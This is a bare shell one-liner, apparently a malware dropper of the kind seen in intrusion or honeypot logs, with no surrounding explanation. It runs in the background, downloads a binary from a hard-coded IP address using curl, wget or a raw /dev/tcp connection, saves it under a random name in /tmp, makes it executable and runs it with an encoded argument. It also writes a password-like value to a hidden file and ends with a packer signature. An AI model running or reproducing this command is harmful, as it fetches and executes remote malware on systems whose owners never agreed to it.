nohup $SHELL -c "curl http://218.3.177.39:60120/linux -o /tmp/mN3b5dBzwJ; if [ ! -f /tmp/mN3b5dBzwJ ]; then wget http://218.3.177.39:60120/linux -O /tmp/mN3b5dBzwJ; fi; if [ ! -f /tmp/mN3b5dBzwJ ]; then exec 6<>/dev/tcp/218.3.177.39/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/mN3b5dBzwJ && chmod +x /tmp/mN3b5dBzwJ && /tmp/mN3b5dBzwJ HjrIUu9sVXujeTFvp2FWdOxWyStjZDrIVu5sVX6u[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/mN3b5dBzwJ && /tmp/mN3b5dBzwJ HjrIUu9sVXujeTFvp2FWdOxWyStjZDrIVu5sVX6u[...]" &#UPX!